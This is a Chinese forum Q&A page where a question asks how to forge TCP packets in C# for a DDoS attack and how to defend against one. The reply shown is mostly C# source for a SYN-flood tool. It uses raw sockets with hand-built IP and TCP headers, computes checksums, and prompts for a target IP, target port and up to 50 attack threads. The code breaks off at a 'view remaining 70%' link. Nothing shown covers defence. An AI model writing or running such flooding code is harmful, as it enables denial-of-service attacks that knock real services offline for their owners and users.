c#如何伪装一个tcp包进行ddos攻击及防护?
网友回复
//在工程属性中设置"允许不安全代码"为true ?using System; using System.Net; using System.Net.Sockets; using System.Threading; //需要的命名空间不用解释了吧 namespace syn { public struct ipHeader { public byte ip_verlen; //4位首部长度+4位IP版本号 public byte ip_tos; //8位服务类型TOS public ushort ip_totallength; //16位数据包总长度(字节) public ushort ip_id; //16位标识 public ushort ip_offset; //3位标志位 public byte ip_ttl; //8位生存时间 TTL public byte ip_protocol; //8位协议(TCP, UDP, ICMP, Etc.) public ushort ip_checksum; //16位IP首部校验和 public uint ip_srcaddr; //32位源IP地址 public uint ip_destaddr; //32位目的IP地址 } public struct psdHeader { public uint saddr; //源地址 public uint daddr; //目的地址 public byte mbz; public byte ptcl; //协议类型 public ushort tcpl; //TCP长度 } public struct tcpHeader { public ushort th_sport; //16位源端口 public ushort th_dport; //16位目的端口 public int th_seq; //32位序列号 public uint th_ack; //32位确认号 public byte th_lenres; //4位首部长度/6位保留字 public byte th_flag; //6位标志位 public ushort th_win; //16位窗口大小 public ushort th_sum; //16位校验和 public ushort th_urp; //16位紧急数据偏移量 } //这3个是ip首部tcp伪首部tcp首部的定义。 public class syn { private uint ip; private ushort port; private EndPoint ep; private Random rand; private Socket sock; private ipHeader iph; private psdHeader psh; private tcpHeader tch; public UInt16 checksum(UInt16[] buffer, int size) { Int32 cksum = 0; int counter; counter = 0; ? while (size > 0) { UInt16 val = buffer[counter]; ? cksum += Convert.ToInt32(buffer[counter]); counter += 1; size -= 1; } ? cksum = (cksum >> 16) + (cksum & 0xffff); cksum += (cksum >> 16); return (UInt16)(~cksum); } //这个使用来计算校验码的我照抄c#实现ping那文章的方法,反正ip协议计算校验码方法都一样 public syn(uint _ip, ushort _port, EndPoint _ep, Random _rand) { ip = _ip; port = _port; ep = _ep; rand = _rand; ipHeader iph = new ipHeader(); psh = new psdHeader(); tch = new tcpHeader(); sock = new Socket(AddressFamily.InterNetwork, SocketType.Raw, ProtocolType.IP); sock.SetSocketOption(SocketOptionLevel.IP, SocketOptionName.HeaderIncluded, 1); //这2个挺重要,必须这样才可以自己提供ip头 } //传参数的多线程需要用到代构造函数的对象。 static void Main(string[] args) { Console.WriteLine("1、输入攻击ip或域名"); try { IPHostEntry pe = Dns.GetHostByName(Console.ReadLine()); uint ip = Convert.ToUInt32(pe.AddressList[0].Address);//这是要攻击的ip并转为网络字节序 Console.WriteLine("2、输入攻击端口"); ushort port = ushort.Parse(Console.ReadLine()); IPEndPoint ep = new IPEndPoint(pe.AddressList[0], port); byte[] bt = BitConverter.GetBytes(port); Array.Reverse(bt); port = BitConverter.ToUInt16(bt, 0); //要攻击的端口也得转为网络字节序,必须是16位0-65535,如果用hosttonetworkorder就转成32位的了,无奈这样 Console.WriteLine("3、输入攻击线程,最多50个"); int xiancheng = Int32.Parse(Console.ReadLine()); if (xiancheng < 1 || xiancheng > 50) { Console.WriteLine("必须在1到50之间"); return; } Random rand = new Random(); Thread[] t = new Thread[xiancheng]; syn[] sy = new syn[xiancheng]; for (int i = 0; i < xiancheng; i++) { sy[i] = new syn(ip, port, ep, rand); t[i] = new Thread(new ThreadStart(sy[i].synFS)); t[i].Start(); } //一个线程对应一个对象,不知多个线程对应同一个对象行不行,请指点。基础不行啊 } catch { Console.WriteLine("有错误,请检查是不是连在网上,或者输入是否都正确"); return; } ? ? } unsafe public void synFS() { iph.ip_verlen = (byte)(4 << 4 | sizeof(ipHeader) / sizeof(uint)); //ipv4,20字节ip头,这个固定就是69 iph.ip_tos = 0; //这个0就行了 iph.ip_totallength = 0x2800; //这个是ip头+tcp头总长,40是最小长度,不带tcp option,应该是0028但是还是网络字节序所以倒过来成了2800 iph.ip_id = 0x9B18; //这个我是拦截ie发送。直接添上来了 iph.ip_offset = 0x40; //这个也是拦截ie的 iph.ip_ttl = 64; //也是拦截ie的,也可以是128什么的。 iph.ip_protocol = 6; //6就是tcp协议 iph.ip_checksum = UInt16.Parse("0"); //没计算之前都写0 iph.ip_destaddr = ip; //ip头的目标地址就是要攻击的地址,上面传过来的。 psh.daddr = iph.ip_destaddr; //伪tcp首部用于校验的,上面是目的地址,和ip的那个一样。 psh.mbz = 0; //这个据说0就行 psh.ptcl = 6; //6是tcp协议 psh.tcpl = 0x1400; //tcp首部的大小,20字节,应该是0014,还是字节序原因成了1400 tch.th_dport = port; //攻击端口号,上面传过来的 tch.th_ack = 0; //第一次发送所以没有服务器返回的序列号,为0 tch.th_lenres = (byte)((sizeof(tcpHeader) / 4 ...
点击查看剩余70%